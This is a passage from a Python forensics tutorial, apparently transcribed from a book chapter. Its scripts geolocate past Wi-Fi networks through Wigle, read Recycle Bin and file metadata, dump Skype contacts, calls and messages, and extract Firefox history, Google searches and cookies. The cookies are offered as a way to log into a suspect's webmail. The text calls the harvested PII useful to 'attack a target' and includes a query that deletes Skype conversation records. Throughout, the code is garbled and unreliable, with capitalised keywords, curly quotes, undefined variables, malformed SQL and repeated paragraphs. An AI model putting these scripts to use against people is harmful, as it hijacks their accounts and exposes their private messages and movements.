Now, let’s write a function to extract the network name and MAC address for every listed network profile from the specific keys in the Windows registry. To do this, we will utilize the \_winreg library, installed by default with the Windows default Python Installer. After connecting to the registry, we can open the key with the OpenKey() function and loop through the network profiles under this key. For each profile, it contains the following sub-keys: ProfileGuid, Description, Source, DnsSuffix, FirstNetwork, DefaultGatewayMac. The registry key indexes the network name and DefaultGatewayMAC as fourth and fifth values in the array. We can now enumerate each of these keys and print them to the screen. Putting everything together, we now have a script that will print out the previously connected wireless networks stored in the Windows Registry.

from \_winreg import \*

Def val2addr(val):

Addr = ‘ ‘

For ch in val:

Addr += ‘%02x ‘ % ord(ch)

Addr = addr.strip(‘ ‘).replace(‘ ‘, ‘:’)[0:17]

Return addr

Def printNets():

Net = “SOFTWARE\Microsoft\Windows NT\Current Version” +\ “\NetworkList\Signatures\Unmanaged”

Key = OpenKey(HKEY\_LOCAL\_MACHINE, net)

Print ‘\n[\*] Networks You have Joined.’

For i in range (100):

try:

Guid = EnumKey(key, str(guid))

netKey = OpenKey(key, str(guid))

(n, addr, t) = EnumValue(netKey, 5)

(n, name, t) = EnumValue(netKey, 4)

macAddr = val2addr(addr)

netName = str(name)

Print ‘[+]’ + netName + ‘ ‘ + macAddr

CloseKey (netKey)

except:

break

Def main():

printNets()

If \_\_name\_\_ == “\_\_main\_\_”:

main()

Running our script against a target laptop, we seee the previously connected wireless networks along with their MAC addresses. When testing the script, ensure you are running from inside an Administrator console or you will be unable to read the keys.

C:\Users\investigator\Desktop\python discoverNetworks.py

**Using Mechanize to Submit the MAC Address to Wigle**

However, the script does not end here. With the MAC address of a wireless access point, we can also print out the physical location of the access point as well. Quite a few databases, both open-source and proprietary, contain enormous listings of wireless access points correlated to their physical locations. Proprietary products such as cell phones use these databases to geolocate without the use of GPS. The SkyHook database, available at <http://skyhookwireless.com/>, provides a software developer kit to geo-locate based off of Wi-Fi positioning. An open-source project developed by Ian McCracken provided access to this database for several years at <http://code.google.com/p/maclocate/>. A remaining database and open-source project, wigle.net, continues to allow users to search for physical locations from an access point address. Let us quickly examine how to build a script to interact with wigle.net. Using wigle.net, a user will quickly realize that he or she must interact with three several pages to return a Wigle result. First, he must open the wigle.net initial page at <http://wigle.net>; next the user must log in to Wigle at <http://wigle.net//gps/gps/main/login>. Finally, the user can query a specific wireless SSID MAC address at the page <http://wgile.net/gps/gps/main/confirmquery/>. Capturing the MAC address query, we see that the netid parameter contains the MAC address in the HTTP Post that requests the GPS location of the wireless access point.

POST /gps/gps/main/confirmquery/HTTP/1.1

Accept-Encoding: Identity

Content-Length: 33

Host: wigle.net

User-Agent: AppleWebKit/531.21.10

Connection: close

Content-Type: application/x-www-form-urlencoded

netid = <..REDACTED..>

<..SNIPPED..>

Furthermore, we see the response from the page includes the GPS coordinates. The string maplat=47.25264359&maplon=-87.25624084 contains the latitude and longitude of the access point.

<tr class=”search”><td>

<a href = “/gps/gps/Map/onlinemap2/?maplat=47.25264359&maplon=-87.25624084&mapzoom=17&ssid=McDonald’s FREE Wifi&netid=0A:2C:EF:30:25:1B”> Get Map </a></td>

<td>0A:2C:EF:3D:25:1B </td><td> McDonald’s Free Wifi </td><

…

…

The script may appear complex, but let’s quickly walk through it together. First, we create an instance of a mechanize browser. Next, we open the initial wigle.net page. We then encode our username and password as parameters and request a login at the Wigle login page. Once we have successfully logged in, we create an HTTP post using the parameter netid as the MAC address to search the database. We then search the result of our HTTP post for the terms maplat= and maplon= for our latitude and longitude coordinates. Once found, return these coordinates as a tuple.

Import mechanize, urllib, re, urlparse

Def wiglePrint(username, password, netid):

Browser = mechanize.Browser()

browser.open(‘<http://wigle.net>)

reqData = urllib.urlencode({‘credential\_0’:username, ‘credential\_1’:password})

browser.open(‘<https://wigle.net/gps/gps/main/login>’, reqData)

Params = []

Params[‘netid’] = netid

reqParams = urllib.urlencode(params)

respURL = ‘<http://wigle.net/gps/gps/main/confirmquery/>’

Resp = browser.open(respURL, reqParams).read()

mapLat = ‘N/A’

mapLon = ‘N/A’

rLat = re.findall(r ‘maplat=.\*\&’, resp)

If rLat:

mapLat = rLat[0].split(‘&’)[0].split(‘=’)[1]

rLon = re.findall(r ‘maplon=.\*\&’, resp)

If rLon:

mapLon = rLon[0].split

Print ‘[-] Lat: ‘ + mapLat + ‘, Lon: ‘ + maplon

Adding the Wigle MAC address functionality to our original script, we now have the ability to examine a registry for previously connected wireless access points and then lookup their physical locations.

Import os

Import optparse

Import mechanize

Import urllib

Import re

Import urlparse

From \_winreg import \*

Def val2addr(val):

…

…

Return addr

Def wiglePrint(username, password, netid):

Browser = mechanize.Browser()

browser.open(‘<http://wigle.net>’)

reqData = urllib.urlencode({‘credential\_0’:username, ‘credential\_1’:password})

browser.open(‘<https://wigle.net//gps//gps/gps/main/login>’, reqData)

Params = []

reqParams = urllib.urlencode(params)

respURL = ‘https://wigle.net/gps/gps/main/confirmquery/’

mapLat = ‘N/A’

mapLon = ‘N/A’

rLat = re.findall(r’maplat=.\*\&’, resp)

If rLat:

mapLat = rLat[0].split(‘&’)[0].split(‘=’)

rLon = re.findall(r’maplon=.\*\&’, resp)

If rLon:

mapLon = rLon[0].split

Print ‘[-] Lat: ‘ + mapLat + ‘ , Lon: ‘ + mapLon

Def printNets(username, password):

net = \ “SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged”

Key = OpenKey(HKEY\_LOCAL\_MACHINE, net)

Print ‘\n[^] Networks You Have Joined.’

For i in range(100):

try:

Guid = EnumKey(key, i)

netKey = OpenKey (key, str(guid))

(n, addr, t) = EnumValue(netKey, 5)

(n, name, t) = EnumValue(netKey, 4)

macAddr = val2addr(addr)

netName = str(name)

Print ‘[+]’ + netName + ‘ ‘ + macAddr

wiglePrint(username, password, macAddr)

CloseKey(netKey)

except:

Break

Def main():

Parser = \ optparse.OptionParser(“usage%prog “ + “-u <wigle username> -p <wigle password>”)

parser.add\_option(‘-u’, dest=’username’, type=’string’, help=’specify wigle password’)

parser.add\_option(‘-p’, dest=’password’, type=’string’, help=’specify wigle username’)

(options, args) = parser.parse\_args()

Username = options.username

Password = options.password

If username == None or password == None:

Print parser.usage()

exit(0)

Else:

printNets(username, password)

If \_\_name\_\_ == ‘\_\_main\_\_’:

main()

Running our script with the new functionality, we now see the previously connected wireless networks and their physical locations. With the knowledge of where a computer has been, let’s now use the next section to examine the trash.

C:\Users\Investigator\Desktop\python discoverNetworks.py

**Using the OS Module to Find Deleted Items - SECTION USING PYTHON TO RECOVER DELETED ITEMS IN THE RECYCLE BIN**

To allow our script to remain independent of the operating system, let’s write a function to test each of the possible candidate directories and return the first one that exists on the system.

Import os

Def returnDir():

Dirs = [‘C\\Recycler\\’, ‘C:\\Recycled\\’, ‘C:\\$Recycle.Bin\\’]

For recycleDir in dirs:

If os.path.isdir(recycleDir):

Return recycleDir

Return None

**Python to Correlate SID to User**

We will use the Windows registry to translate this SID into an exact username. By inspecting the windows registry key HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\<SID>\ProfileImagePath, we see it return a value of %SystemDrive%\Documents and Settings\<USERID>. In the following figure, we see that this allows us to translate the SID S-1-5-1275210071-17155567821-725345543-1005 directly into the name “alex”.

C:\RECYCLER> reg query

As we will want to know who deleted which files in the Recycle Bin, let’s write a small function to translate each SID into a username. This will allow us to print some more useful output when we recover deleted items in the Recycle BIn. This function will open the registry to examine the ProfileImagePath Key, find the value and return the name located after the last backward slash in the userpath.

From \_winreg import \*

Def sid2user(sid):

Try:

Key = OpenKey(HKEY\_LOCAL\_MACHINE, “SOFTWARE\Microsoft\Windows NT\CurrentVerison\ProfileList” + ‘\\’ + sid)

(value, type) = QueryValueEx(key, ‘ProfileImagePath’)

User = value.split(‘\\’)[-1]

Return use

except:

Return sid

Finally, we will put all of our code together to create a script that will print the deleted files still in the Recycle Bin.

Import os

Import optparse

From \_winreg import \*

Def sid2user(sid):

Try:

…

…

except:

…

…

Def returnDir():

…

…

Def main():

recycledDir = returnDir()

findRecycled(recycledDir)

Def findRecycled(recycleDir):

dirList = os.listdir(recycleDir)

For sid in dirList:

Files = os.listdir(recycleDir + sid)

User = sid2user(sid)

Print ‘\n[\*] Listing Files for User: ‘ + str(file)

For file in files:

Print ‘[+] Found File: ‘ + str(file)

If \_\_name\_\_ == ‘\_\_main\_\_’:

main()

Running our code inside a target, we see that the script discovered two users: alex and Administrator. It lists the files contained in the Recycle Bin of each user. In the next section, we will examine a method for examining some of the content inside of those files that may prove useful in an investigation.

C:/> python dumpRecycleBin.py

**Metadata**

In this section, we will write some scripts to extract metadata from some files. A not clearly visible object of files, metadata can exist in documents, spreadsheets, images, audio and video types. The authoring application may store details such as the file’s authors, creation and modification times, potential revisions, and comments. For example, a camera-phone may imprint the GPS location of a photo, or a Microsoft Word application may store the author of a Word document.

**Using PyPDF to Parse PDF Metadata**

forensic:~#wget

<http://www.wired.com/images_blogs/threatlevel/2010/12/ANONOPS_The_Press_Release.pdf>

–2012-01-19 11:43:36–

http://wired.com/images\_blogs/threatlevel/2010/12/ANONOPS\_The\_Press\_Release.pdf

Resolving [www.wired.com](http://www.wired.com).. 64.145.92.35, 64.145.92.34

Connecting to [www.wired.com](http://www.wired.com) | 64.145.92.35|:80… connected.

HTTP request sent, awaiting response… 200 OK

Length: 70214 (69K) [application/pdf]

Saving to ‘ANONOPS\_The\_Press\_Release.pdf.1’ 100%

2012-01-19 11:43:39 (364 KB/s) - ‘ANONOPS\_The\_Press\_Release.pdf’ saved [70214/70214]

**Anonymous’ Metadata Fail**

On December 10, 2010, the hacker group Anonymous posted a press release outlining the motivations behind a recent attack named Operation Payback (Prefect, 2010). Angry with the companies that had dropped support for the Web site Wikileaks, Anonymous called for retaliation by performing a distributed denial of service (DDoS) attack against some of the parties involved. The hacker posted the press release unsigned and without attribution. Distributed as a Portable Document Format (PDF) file, the press release contained metadata. In addition to the program used to create the document, the PDF contained the name of the author, Mr. Alex Tapanaris. Within days, Greek police arrested Mr. Tapanaris (Leyden, 2010).

PyPDF is an excellent third-party utility for managing PDF documents an is available for download from <http://pybrary.net/pyPdf>. It offers the ability to extract document information, split, merge, crop, encrypt and decrypt documents. To extract metadata, we utilize the method .getDocumentInfo(). This method returns an array of tuples. Each tuple contains a description of the metadata element and value. Iterating through this array prints out the entire metadata of the PDF document.

Import pyPdf

From pyPdf import PdfFileReader

Def printMeta(fileName):

pdfFile = PdfFileReader(file(fileName, ‘rb’))

docInfo = pdfFile.getDocumentInfo()

Print ‘[\*] PDF Metadata For: ‘ + str(fileName)

For metaItem in docInfo:

Print ‘[+]’ + metaItem + ‘:’ + docInfo[metaItem]

Adding an option parser to identify a specific file, we have a tool that can identify the metadata embedded in a PDF document. Similarly, we can modify our script to test for specific metadata, such as a specific user. Certainly, it might be helpful for Greek law enforcement officials to search for files that also list Alex Taparnaris as the author.

Import pyPdf

Import optparse

From pyPdf import PdfFileReader

def printMeta(fileName):

…

…

Def main():

Parser = optparse.OptionParser(‘usage %prog” +\ “-F <PDF File Name>’)

parser.add\_option(‘-F’, dest=’fileName’, type=’string’, \ help = ‘specify PDF file name’)

(options, args) = parser.parse\_args()

fileName = options.fileName

If fileName == None:

Print parser.usage

exit(0)

If \_\_name\_\_ == ‘\_\_main\_\_’:

main()

Running our pdfReader script against the Anonymous Press Release, we see the same metadata that led Greek authorities to arrest Mr. Tapanaris.

forensic~:# python pdfRead.py -F ANONOPS\_The\_Press\_Release.pdf

**Understanding Exif Metadata**

The exchange image file format (Exif) standard defines the specifications for how to store image and audio files. Devices such as digital cameras, smartphones, and scanners use this standard to save audio or image files. The Exif standard contains several useful tags for a forensic investigation. Phil Harvey wrote a tool aptly called exiftool (available from <http://www.sno.phy.queensu.ca/~phil/exiftool/>) that can parse these tags. Examining all the Exif tags in a photo could result in several pages of information, so let’s examine a snipped version of some information tags. Notice the Exif tags contain the camera model name iPhone 4S as well as the GPS latitude and longitude coordinates of the actual image. Such information can prove helpful in organizing images. For example, the Mac OS X application iPhoto uses the location information to neatly arrange photos on a world map. However, this information also has plenty of malicious uses. Imagine a soldier placing Exif-tagged photos on a blog or web site; the enemy could download entire sets of photos and know all of that soldier’s movements in seconds. In the following section, we will build a script to connect to a Web site, download all of the images on the site, and then check them for Exif metadata.

investigator$ exiftool photo.JPG

**Downloading Images with BeautifulSoup**

Available from <http://crummy.com/software/BeautifulSoup/>, Beautiful Soup allows us to quickly parse HTML and XML documents. Leonard Richardson released the latest version of Beautiful Soup on May 29, 2012.

To update the latest version on Backtrack, use easy\_install to fetch and install the beautifulsoup4 library.

investigator:~# easy\_install beautifulsoup4

In this section, we will use Beautiful Soup to scrape the contents of an HTML document for all the images found on the document. Notice that that we are using the urllib2 library to open the contents of a document and read it. Next, we can create a Beautiful Soup object or a parse tree that contains the different objects of the HTML document. In that object, we will extract all the image tags by searching using the method .findall(‘img’). This method returns an array of all the image tags, which we will return.

Import urllib2

From bs4 import BeautifulSoup

Def findImages(url):

Print ‘[+] Finding images on’ + url

urlContent = urllib2.urlopen(url).read()

Soup = BeautifulSoup(urlContent)

imgTags = soup.findAll (‘img’)

Return imgTags

Next, we need to download each image from the site in order to examine them in a different function. To download an image, we will use the functionality include in the urllib2, urlparse, and os libraries. First, we will extract the source address from the image tag. Next, we will read the binary contents of the image into a variable. Finally, we will open a file in write-binary mode and write the contents of the image to the file.

Import urllib2

From urlparse import urlsplit

From os.path import bsaename

Def downloadImage(imgTag):

Try:

Print ‘[+] Downloading image…’

imgSrc = imgTag[‘src’]

imgContent = urllib2.urlopen(imgSrc).read()

imgFileName = basename(urlsplit(imgSrc)[2])

imgFile = open(imgFileName, ‘wb’)

imgFile.write(imgContent)

imgFile.close()

Return imgFileName

except:

Return ‘ ‘

**Reading Exif Metadata from Images with the Python Imaging Library**

To test the contents of an image file for Exif Metadata, we will process the file using the Python Imaging Library. PIL, available from <http://pythonware.com/products/pil/>, adds image-processing capabilities to Python, and allows us to quickly extract the metadata associated with geo-location information. To test a file for metadata, we will open the object as a PIL Image and use the method *\_getexif()*. Next, we will parse the Exif data into an array, indexed by the metadata type. With the array complete, we wcan search the array to see if it contains an Exif tag for GPSInfo. If it does contain a GPSInfo tag, then we will know the object contains GPS Metadata and we can print a message to the screen.

Def testForExif(imgFileName):

Try:

exifData = []

imgFile = Image.open(imgFileName)

Info = imgFile.\_getexif()

If info:

For (tag, value) in info.items():

Decoded = TAGS.get(tag, tag)

exifData[decoded] = value

exifGPS = exifData[‘GPSInfo’]

If exifGPS:

Print ‘[\*]’ + imgFileName + \ ‘contains GPS MetaData’

Except:

Pass

Wrapping everything together, our script is now able to connect to a URL address, parse and download all the images files, and test each file for Exif metadata. Notice that in the main function, we first fetch a list of all the images on the site. Then, for each image in the array we will download the file and test it for GPS metadata. Testing the newly created script against a target address, we see that one of the images on the target contains GPS metadata information. While this can be used in an offensive reconnaissance sense to target individuals, we can also use the script in a completely benign way - to identify our own vulnerabilities before attackers.

Forensics: # python exitFetch.py -u - <https://www.flickr.com/photos/dvids/4999001925/sizes/o>

**Investigating Application Artifacts with Python**

In this section we will examine application artifacts: namely data stored in SQLite applications by two popular applications. The SQLite Database is a popular choice for local/client storages on several applications, especially web browsers, because of the programming-language-independent binding. As opposed to a database that maintains a client/server relationship, SQLite stores the entire database as a single flat file on the host. Originally created by Dr. Richard Hipp for his work with the US Navy, SQLite databases continue to grow usage in many popular applications. Understanding how to parse SQLite databases and automating the process using Python is invaluable during forensic investigations.

**Understanding theSkype Sqlite3 Database**

As of version 4.0, the popular chat utility Skype changed its format to use SQLite. Under Windows, Skype stores a database named main.db in the C:\Documents and Settings\<User>\Application Data\Skype\<skype-account> directory. Under MAC OS X data, that same data base resides in cd /Users/<user>/Library/Application\ Support/Skype/<Skype-account>.

investigator$ sqlite3 main.db

sqlite> SELECT tbl\_name FROM sqlite\_master WHERE type==”table”;

The table *Accounts* contains information about the Skype account used by the application. It contains columns that include information about the user’s name, Skype profile name, the location of the user, the creation date of the account.[...] Notice the database stores the data in unixepoch time and requires conversion to a user-friendly format. Unixepoch time provides a simple measurement for time. It records the date as a simple integer that represents the number of seconds since January 1st, 1970. The SQLite method *datetime()* can convert this value into an easily readable format.

sqlite> SELECT fullname, skypename, city, country, datetime(profile\_timestamp, ‘unixepoch’) FROM accounts;

**Using Python and Sqlite3 to Automate Skype Database Queries**

While connecting to the database and executing a SELECT statement proves easy enough, we would like to be able to automate this process and extra information from several different columns and tables in the database. Let’s write a small Python program that utilizes the sqlite3 library to do this. Notice our function *printProfile().* It creates a connection to the database main.db. AFter creating a connection, it asks for a cursor prompt and executes our previous SELECT statement. The result of the SELECT statement returns an array of arrays. For each result returned, it contains indexed columns for the user, skype username, location, and profile date. We interpret these results and then pretty print them to the screen.

Import sqlite3

Def printProfile(skypeDB):

Conn = sqlite3.connect(skypeDB)

C = conn.cursor()

c.execute(\*SELECT fullname, skypename, city, country, \ datetime (profile\_timestamp, ‘unixepoch’) FROM Accounts; “\_

For row in c:

Print ‘[\*] – Found Account – ‘

Print ‘[+] User’ + str(row[0])

print ‘[+] Skype Username: ‘ + str(row[1])

Print ‘[+] Location: ‘ + str(row[2]) + ‘.’ + str(row[3])

Print ‘[+] Profile Data ‘ + str(row[4])

Def main():

skypeDB = “main.db”

printProfile(skypeDB)

If \_\_name\_\_ == “\_\_main\_\_”:

main()

Running the output of printProfile.py, we see that the Skype main.db database contains a single user account. For privacy concerns, we replaced the actual account name with <accountname>.

Let’s further the investigation into the Skype database by examining the stored address contents. Notice that the table Contacts stores information such as the displayname, skype username, location, mobile phone, and even birthday for each contact stored in the database. All of this PII can prove useful as we investigate or attack a target, so let’s gather it. Let’s output the information that our SELECT statement returns. Notice that several of these fields, such as birthday, could be null. In these cases, we utilize a conditional IF statement to only print results not equal to “None.” Up until now we have only examined extracting specific columns from specific tables. However, what happens when two tables contain information that we want to output together? In this case, we will have to join the database tables with values that uniquely identify the results. To illustrate this, let’s examine how to output the call log stored in the skype database. To output a detailed Skype call log, we will need to use both the Calls table and the Cpnversations table. The Calls table maintains the timestamp of the call the uniquely indexes each call with a column named conv\_dbid. The Conversations table maintains the identity of callers and indexes each call made with a column named id. Thus, to join the two tables,...,

Def printCalling(skypeDB):

Conn = sqlite3.connect(skypeDB)

C = conn.cursor()

c.execute(“SELECT datetime (begin\_timestamp, ‘unixepoch’), \ identity FROM calls conversations WHERE \ calls.conv\_dbid = conversations.id;”)

Print ‘\n[\*] – Found Calls –’

For row in c:

Print ‘[+] Time: ‘ + str(row[0]) +\ ‘ | Partner: ‘ + str(row[1])

Let’s add one final function to our Skype database scrapping script. Forensically rich, the Skype profile database actually contains all the messages sent and received by a user by default. The database stores this in a table called Messages. From this table, we will SELECT the timestamp, dialog\_partner, author and body\_xml (raw text of the message). Notice that if the author differs from the dialog\_partner, the owner of the database initiated the message to the dialog\_partner. Otherwise, if the author is the same as the dialog\_partner initiated the message, and we will print from the dialog\_partner.

Def printMessages(skypeDB):

Conn = sqlite3.connect(skypeDB)

C = conn.cursor()

c.execute(“SELECT datetime(timestamp, ‘unixepoch’), \ dialog\_partner, author, body\_xml FROM Messages;”)

Print ‘\n[\*] – Found Messages –’

For row in c:

try:

If ‘partList’ not in str(row[3]):

if (str(row[1]) != str(row[2]):

msgDirection = ‘To ‘ + str(row[1]) + ‘: ‘

Else:

msgDirection = ‘From’ + str(row[2]) + ‘: ‘

Print ‘Time: ‘ + str(row[0]) + ‘ ‘ \ + msgDirection + str(row[3])

except:

pass

Wrapping everything together, we have a pretty potent script to examine the Skype profile database. Our script can print the profile information, address contacts, call log, and even the messages stored in the database. WE can add some option parsing in the main function and use some of the functionality in the os library to ensure the profile file exists before executing each of the functions to investigate the database. Running the script, we add the location of a Skype profile path with the -p option. The script prints out the account profile, accounts, calls, and messages stored on the target. Success! In the next section, we will use our knowledge of sqlite3 to examine the artifacts stored by the popular Firefox browser.

investigator$ python skype-parse.py -p /root/.Skype/not.myaccount

**Other Useful Skype Queries…**

If interested, take the time to examine the Skype database further and make new scripts. Consider the following other queries that may prove helpful. Want to print out only the contacts with birthdays in the contact list? SELECT fullname, birthday FROM contacts WHERE birthday > 0;

Want to print a record of conversations with only a specific <SKYPE-PARTNER>?

SELECT datetime(timestamp, ‘unixepoch’), dialog\_partner, author, body\_xml FROM messages WHERE dialog\_partner = ‘<SKYPE-PARTNER>’

Want to delete a record of conversations with a specific <SKYPE-PARTNER>?

DELETE FROM messages WHERE skypename = ‘<SKYPE-PARTNER>’

**Parsing Firefox Sqlite3 Databases with Python**

In the last section, we examined a single application database stored by the Skype application. The database provided a great deal of forensically rich data for investigation. In this section, we will examine what the Firefox application stores in a series of databases. Firefox stores these databases in a default directory located at C:\Documents and Settings\<USER>\Application Data\Mozilla Firefox\Profiles\<profile folder>\under Windows and /Users/<USER>/Library/Application \Support/Firefox/Profiles/<profile folder> under MAC OS X. Let’s list the SQLite databases stored in a directory. Examining the directory listing, it appears obvious that Firefox stores quite a bit of forensically rich data. But where should an investigator begin? Let’s start with the downloads.sqlite database. The file downloads.sqlite stores information about the files downloaded by a Firefox user. It contains a single table named loaded from, date downloaded, file size and referrer, and locally stored location of the file. We use a Python script to execute a SQLite SELECT statement for the appropriate columns: name, source, and datetime. Notice that Firefox does something interesting with the Unix epoch time we previously learned about. To store the Unix epoch time in the database, it multiplies the number of seconds since January 1st, 1970 by 1,000,000. Thus, to properly format out time, we need to divide by 1 million.

Import sqlite3

Def printDownloads(downloadDB):

Conn = sqlite3.connect(downloadDB)

C = conn.cursor()

c.execute(‘SELECT name, source, datetime(end/1000000, \\’unixepoch’\’) FROM moz\_downloads;’)

Print ‘\n[\*] — Files Downloaded — ‘

For row in c:

Print ‘[+] File: ‘ + str(row[0]) + ‘ from source: ‘ \ + str(row[1]) + ‘ at: ‘ + str(row[2])

If \_\_name\_\_ == “\_\_main\_\_”:

main()

Running the script against the downloads.sqlite file, we see that this profile contains information about a file we previously downloaded. In fact, we downloaded this file in one of the previous sections to learn more about metadata.

investigator$ python firefoxDownloads.py

Excellent! We now know when a user downloaded specific files using Firefox. However, what if a police investigator determined a user downloaded images that depicted harmful actions towards children from a web-based email site? The police investigator (lawfully) would want to log back onto the web-based email, but most likely lacks the password or authentication to the user’s web-based email. Enter cookies. Because the HTTP protocol lacks a stateful design, origin Web sites utilize cookies to maintain state.

**Dealing with Encrypted Database Error**

Updating Sqlite3 - You may notice that if you attempt to open the cookies.sqlite database with the default Sqlite3 installation from Backtrack 5 R2, that it reports file is encrypted or is not a database. The default install of Sqlite3 is Sqlit3.6.222, which does not not support WAL journal mode. Recent versions of Firefox use the PRAGMA journal\_mode = WAL in their cookies.sqlite and places.sqlite databases. Attempting to open the file with an older version of Sqlite3 or the older Python Sqlite3 libraries will report an error.

investigator:~# sqlite3.6 ~/.mozilla/firefox/nq474mcm.default/cookies.sqlite

Consider, for example, when a user logs onto a web-based email: if the browser could not maintain cookies, the user would have to log on in order to read every individual email. Firefox stores these cookies in a database named *cookies.sqlite*. If an investigator can extract cookies and reuse them, it provides the opportunity to log on to resources that require authentication. Let’s write a quick Python script to extract cookies from a user under investigation. We connect to the database and execute our SELECT statements. In the database, the moz\_cookies maintains the data regarding cookies. From the moz\_cookies table in the *cookies.sqlite* database, we will query the column values for host, name, and cookie value, and print them to the screen.

Def printCookies(cookiesDB):

try:

Conn = sqlite3.connect(cookiesDB)

C = conn.cursor()

c.execute(‘SELECT host, name, value, FROM moz\_cookies’)

Print ‘\n[\*] – Found Cookies – ‘

For row in c:

Host = str(row[0])

Name = str(row[1])

Value = str(row[2])

Print ‘[+] Host: ‘ + host + ‘ , Cookie: ‘ + name \ + ‘, Value: ‘ + value

Except exception, e:

If ‘encrypted’ in str(e):

Print ‘\n Error reading your cookies database.’

Print ‘[\*] Upgrade your Python Sqlite3 Library’

An investigator may also wish to enumerate the browser history. Firefox stores this data in a database named *places.sqlite*. Here, the moz\_places table gives us valuable columns that include information about when (date) and where (address) a user visited a site. While our script for printHistory() only takes into account the moz\_places table, the ForensicWiki website recommends using data from both the moz\_places table and the moz\_historyvisits table as well to get a live browser history. Let’s use the last example and our knowledge of regular expressions to expand the previous function. While browser history is infinitely valuable, it would be useful to look deeper into some of the specific URLs visited. Google search queries contain the search terms right out of the URL. If we spot a URL in our history that contains *Google*, we will search for the characters *q=* followed by an &. This specific sequence of characters indicates a Google search.

Let’s use the last example and our knowledge of regular expressions to expand the previous function. While browser history is infinitely valuable, it would also be useful to look deeper into some of the specific URLs visited. Google search queries contain the search terms right inside the URL, for example. In the wireless section, we will expand on this in great depth. However, right now, let’s just extract the search terms right out of the URL. If we spot a URL in our history that contains *Google*, we will search for the characters q= followed by an &. This specific sequence of characters indicates a Google search. If we do find this term, we will clean up the output by replacing some of the characters used in URLs to pad whitespace with actual whitespace. Finally, we will print out the corrected output to the screen. Now we have a function that can search the *places.sqlite* file and print out Google search queries.

Import sqlite3, re

Def printGoogle(placesDB):

Conn = sqlite3.connect(placesDB)

C = conn.cursor

c.execute(“select\_url, datetime(visit\_date/1000000), \ ‘unixepoch’) from moz\_places, moz\_historyvisits \ where visit\_count > 0) and moz\_places.id==\ moz\_historyvisits.place\_id;”)

Print ‘\n [\*] – Found Google – ‘

For row in c:

Url = str(row[0])

Date = str(row[1])

If ‘google’ in url.lower()

R = re.findall(r’q=\*\&’, url)

If r:

Search = r[0].split(‘&’)[0]

Search = search.replace(‘q=’, ‘ ‘).replace(‘+’, ‘ ‘)

Print ‘[+]’ + date + ‘ - Searched For: ‘ + search

Wrapping it all together, we now have functions to print downloaded files, cookies, the history of a profile, and even print out the terms a user googled. The option parsing should look similar to our script to investigate the Skype profile database, from the previous section. You may notice the use of the function os.path.join when creating the full path to a file and ask why do not just add the string values for the path and the file together. What prevents us from using an example such as

downloadDB = pathName + “\\downloads.sqlite” instead of downloadDB = os.path.join(pathName, “downloads.sqlite”)

Consider this: Windows uses a path file of C:\Users\<user\_name>\ while Linux and Mac OS use a path value of something similar to /home/<user\_name>/. The slashes that indicate directories go in opposite directions for that when creating the entire path to our filename. The os library allows us to create an operating system-independent script that will work on Windows, Linux *and* Mac OS.

Consider this: Windows uses a path file of C:\Users\<user\_name>\ while Linux and Mac OS use a path value of something similar to /home/<user\_name>/. The slashes that indicate directories go in opposite directories under each operating system, and we would have to account for that when creating the entire file path to our filename. The os library allows us to creating an operating system-independent script that will work on Windows, Linux, and Mac OS. With that sidebar aside, we have a complete working script to do some serious investigations into a Firefox profile. For practice, try adding some addition functions to this script and modify it for your own investigations.

Import re

Import optparse

Import os

Import sqlite3

def printDownloads(downloadDB):

Conn = sqlite3.connect(downloadDB)

C = conn.cursor()

c.execute(‘ SELECT name, source, datetime(endTime/1000000, \ \’unixepoch’\’) FROM moz\_downloads;’)

Print ‘\n[\*] — Files Downloaded —- ‘

For row in c:

Print ‘[+] File + str(row[0]) + ‘ from source: ‘\ to str(row[1]) + ‘ at: ‘ + str(row[2])

Def printCookies(cookiesDB):

Try:

Conn = sqlite3.connect(cookiesDB)

C = conn.cursor()

c. execute(‘SELECT host, name, value FROM moz\_cookies’)

Print ‘\n[\*] — Found Cookies —- ‘

For row in c:

Host = str(row[0])

Name = str(row[1])

Value = str(row[2])

Print ‘[+] Host: ‘ + host + ‘, Cookie’ + name \ + ‘, Value: ‘ + value

Def printHistory(placesDB):

Conn = sqlite3.connect(placesDB)

C = conn.cursor()

c.execute(“select url, datetime(visit\_date/1000000, \’unixepoch’) from moz\_places, moz\_historyvisits \ where visit\_count > 0 and moz\_places.id == \ moz\_historyvisits.place\_id;”)

For row in c:

Url = str(row[0])

Date =str(row[1])

Print ‘[+]’ + date + ‘ - Visited’ + url

Except Exception, e:

If ‘encrypted’ in str(e):

Print ‘\n[\*] error reading your places database’

Print ‘[\*] Upgrade your Python-Sqlite3 library’

exit(0)

Def printGoogle(placesDB):

Conn = sqlite3.connect(placesDB)

C = conn.cursor()

c.execute(“select url, datetime(visit\_date/1000000, \’unixepoch’) from moz\_places, moz\_historyvisits \ where visit\_count > 0 and moz\_places.id == \ moz\_historyvisits.place\_id;”)

Print ‘\n[\*] – Found Google – ‘

For row in c:

Url = str(row[0])

Date = str(row[1])

If ‘google’ in url.lower():

R = re.findall(r’q=.\*\&’, url)

If r:

Search = r[0].split(‘&’)[0]

Search = search.replace(‘q=’, ‘’).replace(‘+’, ‘ ‘)

Print ‘[+]’ + date + ‘ - Searched For: ‘ + search

Def main():

Parser = optparse.OptionParser(“usage%prog “ +\ “-p” <firefox profile path>”)

parser.add\_option(‘-p’, dest=’pathName’, type=’string’, \help = ‘specify skype profile path’)

(options, args) = parser.parse\_args()

pathName = options.pathName

If pathName == None:

Print parser.usage()

exit(0)

Elif os.path.isdir(pathName) == False:

Print ‘[!] Path Does Not Exist: ‘ + pathName

exit(0)

else:

downloadDB = os.path.join(pathName, ‘downloads.sqlite’)

If os.path.isfile(downloadDB):

printDownloads(downloadDB)

Else:

Print ‘[!] Downloads Db does not exist: ‘ + downloadsDB

cookiesDB = os.path.join(pathName, ‘cookies.sqlite’)

If os.path.isfile(placesDB):

printHistory(placesDB)

printGoogle(placesDB)

else:

Print ‘[!] PlacesDb does not exist: ‘ + placesDB

If \_\_name\_\_ == ‘\_\_main\_\_’:

main()

Running our script against a Firefox user profile under investigation, we see the results. In the next section, we will use the skills learned in the previous two sections, but expand our knowledge of SQLite by searching through a haystack of databases to find a needle.

investigator$ python parse-firefox.py -p ~/Library/Application\ Support/Firefox/Profiles/5ab3jj51.default/

**Investigating Itunes Mobile Backups with Python**

